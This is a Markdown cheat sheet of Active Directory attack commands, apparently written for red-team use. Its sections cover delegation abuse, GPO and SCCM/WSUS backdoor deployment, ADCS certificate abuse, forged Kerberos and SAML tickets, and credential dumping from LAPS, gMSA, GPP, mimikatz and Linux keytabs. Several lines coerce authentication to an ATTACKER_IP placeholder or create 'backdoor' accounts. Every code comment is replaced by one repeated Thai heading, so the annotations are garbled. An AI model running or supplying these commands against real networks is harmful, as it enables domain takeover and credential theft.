# เอกสารอ้างอิง: Advanced Attacks

## Table of Contents
1. [Delegation Attacks](#delegation-attacks)
2. [Group Policy Object Abuse](#group-policy-object-abuse)
3. [RODC Attacks](#rodc-attacks)
4. [SCCM/WSUS Deployment](#sccmwsus-deployment)
5. [AD Certificate Services (ADCS)](#ad-certificate-services-adcs)
6. [Trust Relationship Attacks](#trust-relationship-attacks)
7. [ADFS Golden SAML](#adfs-golden-saml)
8. [Credential Sources](#credential-sources)
9. [Linux AD Integration](#linux-ad-integration)

---

## Delegation Attacks

### Unconstrained Delegation

When a user authenticates to a computer with unconstrained delegation, their TGT is saved to memory.

**Find Delegation:**
```powershell
# เอกสารอ้างอิง: Advanced Attacks
Get-ADComputer -Filter {TrustedForDelegation -eq $True}

# เอกสารอ้างอิง: Advanced Attacks
MATCH (c:Computer {unconstraineddelegation:true}) RETURN c
```

**SpoolService Abuse:**
```bash
# เอกสารอ้างอิง: Advanced Attacks
ls \\dc01\pipe\spoolss

# เอกสารอ้างอิง: Advanced Attacks
.\SpoolSample.exe DC01.domain.local HELPDESK.domain.local

# เอกสารอ้างอิง: Advanced Attacks
python3 printerbug.py 'domain/user:pass'@DC01 ATTACKER_IP
```

**Monitor with Rubeus:**
```powershell
Rubeus.exe monitor /interval:1
```

### Constrained Delegation

**Identify:**
```powershell
Get-DomainComputer -TrustedToAuth | select -exp msds-AllowedToDelegateTo
```

**Exploit with Rubeus:**
```powershell
# เอกสารอ้างอิง: Advanced Attacks
Rubeus.exe s4u /user:svc_account /rc4:HASH /impersonateuser:Administrator /msdsspn:cifs/target.domain.local /ptt
```

**Exploit with Impacket:**
```bash
getST.py -spn HOST/target.domain.local 'domain/user:password' -impersonate Administrator -dc-ip DC_IP
```

### Resource-Based Constrained Delegation (RBCD)

```powershell
# เอกสารอ้างอิง: Advanced Attacks
New-MachineAccount -MachineAccount AttackerPC -Password $(ConvertTo-SecureString 'Password123' -AsPlainText -Force)

# เอกสารอ้างอิง: Advanced Attacks
Set-ADComputer target -PrincipalsAllowedToDelegateToAccount AttackerPC$

# เอกสารอ้างอิง: Advanced Attacks
.\Rubeus.exe s4u /user:AttackerPC$ /rc4:HASH /impersonateuser:Administrator /msdsspn:cifs/target.domain.local /ptt
```

---

## Group Policy Object Abuse

### Find Vulnerable GPOs

```powershell
Get-DomainObjectAcl -Identity "SuperSecureGPO" -ResolveGUIDs | Where-Object {($_.ActiveDirectoryRights.ToString() -match "GenericWrite|WriteDacl|WriteOwner")}
```

### Abuse with SharpGPOAbuse

```powershell
# เอกสารอ้างอิง: Advanced Attacks
.\SharpGPOAbuse.exe --AddLocalAdmin --UserAccount attacker --GPOName "Vulnerable GPO"

# เอกสารอ้างอิง: Advanced Attacks
.\SharpGPOAbuse.exe --AddUserRights --UserRights "SeTakeOwnershipPrivilege,SeRemoteInteractiveLogonRight" --UserAccount attacker --GPOName "Vulnerable GPO"

# เอกสารอ้างอิง: Advanced Attacks
.\SharpGPOAbuse.exe --AddComputerTask --TaskName "Update" --Author DOMAIN\Admin --Command "cmd.exe" --Arguments "/c net user backdoor Password123! /add" --GPOName "Vulnerable GPO"
```

### Abuse with pyGPOAbuse (Linux)

```bash
./pygpoabuse.py DOMAIN/user -hashes lm:nt -gpo-id "12345677-ABCD-9876-ABCD-123456789012"
```

---

## RODC Attacks

### RODC Golden Ticket

RODCs contain filtered AD copy (excludes LAPS/Bitlocker keys). Forge tickets for principals in msDS-RevealOnDemandGroup.

### RODC Key List Attack

**Requirements:**
- krbtgt credentials of the RODC (-rodcKey)
- ID of the krbtgt account of the RODC (-rodcNo)

```bash
# เอกสารอ้างอิง: Advanced Attacks
keylistattack.py DOMAIN/user:password@host -rodcNo XXXXX -rodcKey XXXXXXXXXXXXXXXXXXXX -full

# เอกสารอ้างอิง: Advanced Attacks
secretsdump.py DOMAIN/user:password@host -rodcNo XXXXX -rodcKey XXXXXXXXXXXXXXXXXXXX -use-keylist
```

**Using Rubeus:**
```powershell
Rubeus.exe golden /rodcNumber:25078 /aes256:RODC_AES256_KEY /user:Administrator /id:500 /domain:domain.local /sid:S-1-5-21-xxx
```

---

## SCCM/WSUS Deployment

### SCCM Attack with MalSCCM

```bash
# เอกสารอ้างอิง: Advanced Attacks
MalSCCM.exe locate

# เอกสารอ้างอิง: Advanced Attacks
MalSCCM.exe inspect /all
MalSCCM.exe inspect /computers

# เอกสารอ้างอิง: Advanced Attacks
MalSCCM.exe group /create /groupname:TargetGroup /grouptype:device
MalSCCM.exe group /addhost /groupname:TargetGroup /host:TARGET-PC

# เอกสารอ้างอิง: Advanced Attacks
MalSCCM.exe app /create /name:backdoor /uncpath:"\\SCCM\SCCMContentLib$\evil.exe"

# เอกสารอ้างอิง: Advanced Attacks
MalSCCM.exe app /deploy /name:backdoor /groupname:TargetGroup /assignmentname:update

# เอกสารอ้างอิง: Advanced Attacks
MalSCCM.exe checkin /groupname:TargetGroup

# เอกสารอ้างอิง: Advanced Attacks
MalSCCM.exe app /cleanup /name:backdoor
MalSCCM.exe group /delete /groupname:TargetGroup
```

### SCCM Network Access Accounts

```powershell
# เอกสารอ้างอิง: Advanced Attacks
Get-Wmiobject -namespace "root\ccm\policy\Machine\ActualConfig" -class "CCM_NetworkAccessAccount"

# เอกสารอ้างอิง: Advanced Attacks
.\SharpSCCM.exe get naa -u USERNAME -p PASSWORD
```

### WSUS Deployment Attack

```bash
# เอกสารอ้างอิง: Advanced Attacks
SharpWSUS.exe locate
SharpWSUS.exe inspect

# เอกสารอ้างอิง: Advanced Attacks
SharpWSUS.exe create /payload:"C:\psexec.exe" /args:"-accepteula -s -d cmd.exe /c \"net user backdoor Password123! /add\"" /title:"Critical Update"

# เอกสารอ้างอิง: Advanced Attacks
SharpWSUS.exe approve /updateid:GUID /computername:TARGET.domain.local /groupname:"Demo Group"

# เอกสารอ้างอิง: Advanced Attacks
SharpWSUS.exe check /updateid:GUID /computername:TARGET.domain.local

# เอกสารอ้างอิง: Advanced Attacks
SharpWSUS.exe delete /updateid:GUID /computername:TARGET.domain.local /groupname:"Demo Group"
```

---

## AD Certificate Services (ADCS)

### ESC1 - Misconfigured Templates

Template allows ENROLLEE_SUPPLIES_SUBJECT with Client Authentication EKU.

```bash
# เอกสารอ้างอิง: Advanced Attacks
certipy find -u user@domain.local -p password -dc-ip DC_IP -vulnerable

# เอกสารอ้างอิง: Advanced Attacks
certipy req -u user@domain.local -p password -ca CA-NAME -target ca.domain.local -template VulnTemplate -upn administrator@domain.local

# เอกสารอ้างอิง: Advanced Attacks
certipy auth -pfx administrator.pfx -dc-ip DC_IP
```

### ESC4 - ACL Vulnerabilities

```python
# เอกสารอ้างอิง: Advanced Attacks
python3 modifyCertTemplate.py domain.local/user -k -no-pass -template user -dc-ip DC_IP -get-acl

# เอกสารอ้างอิง: Advanced Attacks
python3 modifyCertTemplate.py domain.local/user -k -no-pass -template user -dc-ip DC_IP -add CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT

# เอกสารอ้างอิง: Advanced Attacks
python3 modifyCertTemplate.py domain.local/user -k -no-pass -template user -dc-ip DC_IP -value 0 -property mspki-Certificate-Name-Flag
```

### ESC8 - NTLM Relay to Web Enrollment

```bash
# เอกสารอ้างอิง: Advanced Attacks
ntlmrelayx.py -t http://ca.domain.local/certsrv/certfnsh.asp -smb2support --adcs --template DomainController

# เอกสารอ้างอิง: Advanced Attacks
python3 petitpotam.py ATTACKER_IP DC_IP

# เอกสารอ้างอิง: Advanced Attacks
Rubeus.exe asktgt /user:DC$ /certificate:BASE64_CERT /ptt
```

### Shadow Credentials

```bash
# เอกสารอ้างอิง: Advanced Attacks
python3 pywhisker.py -d "domain.local" -u "user1" -p "password" --target "TARGET" --action add

# เอกสารอ้างอิง: Advanced Attacks
python3 gettgtpkinit.py -cert-pfx "cert.pfx" -pfx-pass "password" "domain.local/TARGET" target.ccache

# เอกสารอ้างอิง: Advanced Attacks
export KRB5CCNAME=target.ccache
python3 getnthash.py -key 'AS-REP_KEY' domain.local/TARGET
```

---

## Trust Relationship Attacks

### Child to Parent Domain (SID History)

```powershell
# เอกสารอ้างอิง: Advanced Attacks
$ParentSID = "S-1-5-21-PARENT-DOMAIN-SID-519"

# เอกสารอ้างอิง: Advanced Attacks
kerberos::golden /user:Administrator /domain:child.parent.local /sid:S-1-5-21-CHILD-SID /krbtgt:KRBTGT_HASH /sids:$ParentSID /ptt
```

### Forest to Forest (Trust Ticket)

```bash
# เอกสารอ้างอิง: Advanced Attacks
lsadump::trust /patch

# เอกสารอ้างอิง: Advanced Attacks
kerberos::golden /domain:domain.local /sid:S-1-5-21-xxx /rc4:TRUST_KEY /user:Administrator /service:krbtgt /target:external.com /ticket:trust.kirbi

# เอกสารอ้างอิง: Advanced Attacks
.\Rubeus.exe asktgs /ticket:trust.kirbi /service:cifs/target.external.com /dc:dc.external.com /ptt
```

---

## ADFS Golden SAML

**Requirements:**
- ADFS service account access
- Token signing certificate (PFX + decryption password)

```bash
# เอกสารอ้างอิง: Advanced Attacks
.\ADFSDump.exe

# เอกสารอ้างอิง: Advanced Attacks
python ADFSpoof.py -b EncryptedPfx.bin DkmKey.bin -s adfs.domain.local saml2 --endpoint https://target/saml --nameid administrator@domain.local
```

---

## Credential Sources

### LAPS Password

```powershell
# เอกสารอ้างอิง: Advanced Attacks
Get-ADComputer -filter {ms-mcs-admpwdexpirationtime -like '*'} -prop 'ms-mcs-admpwd','ms-mcs-admpwdexpirationtime'

# เอกสารอ้างอิง: Advanced Attacks
crackmapexec ldap DC_IP -u user -p password -M laps
```

### GMSA Password

```powershell
# เอกสารอ้างอิง: Advanced Attacks
$gmsa = Get-ADServiceAccount -Identity 'SVC_ACCOUNT' -Properties 'msDS-ManagedPassword'
$mp = $gmsa.'msDS-ManagedPassword'
ConvertFrom-ADManagedPasswordBlob $mp
```

```bash
# เอกสารอ้างอิง: Advanced Attacks
python bloodyAD.py -u user -p password --host DC_IP getObjectAttributes gmsaAccount$ msDS-ManagedPassword
```

### Group Policy Preferences (GPP)

```bash
# เอกสารอ้างอิง: Advanced Attacks
findstr /S /I cpassword \\domain.local\sysvol\domain.local\policies\*.xml

# เอกสารอ้างอิง: Advanced Attacks
python3 Get-GPPPassword.py -no-pass 'DC_IP'
```

### DSRM Credentials

```powershell
# เอกสารอ้างอิง: Advanced Attacks
Invoke-Mimikatz -Command '"token::elevate" "lsadump::sam"'

# เอกสารอ้างอิง: Advanced Attacks
Set-ItemProperty "HKLM:\SYSTEM\CURRENTCONTROLSET\CONTROL\LSA" -name DsrmAdminLogonBehavior -value 2
```

---

## Linux AD Integration

### CCACHE Ticket Reuse

```bash
# เอกสารอ้างอิง: Advanced Attacks
ls /tmp/ | grep krb5cc

# เอกสารอ้างอิง: Advanced Attacks
export KRB5CCNAME=/tmp/krb5cc_1000
```

### Extract from Keytab

```bash
# เอกสารอ้างอิง: Advanced Attacks
klist -k /etc/krb5.keytab

# เอกสารอ้างอิง: Advanced Attacks
python3 keytabextract.py /etc/krb5.keytab
```

### Extract from SSSD

```bash
# เอกสารอ้างอิง: Advanced Attacks
/var/lib/sss/secrets/secrets.ldb

# เอกสารอ้างอิง: Advanced Attacks
/var/lib/sss/secrets/.secrets.mkey

# เอกสารอ้างอิง: Advanced Attacks
python3 SSSDKCMExtractor.py --database secrets.ldb --key secrets.mkey
```
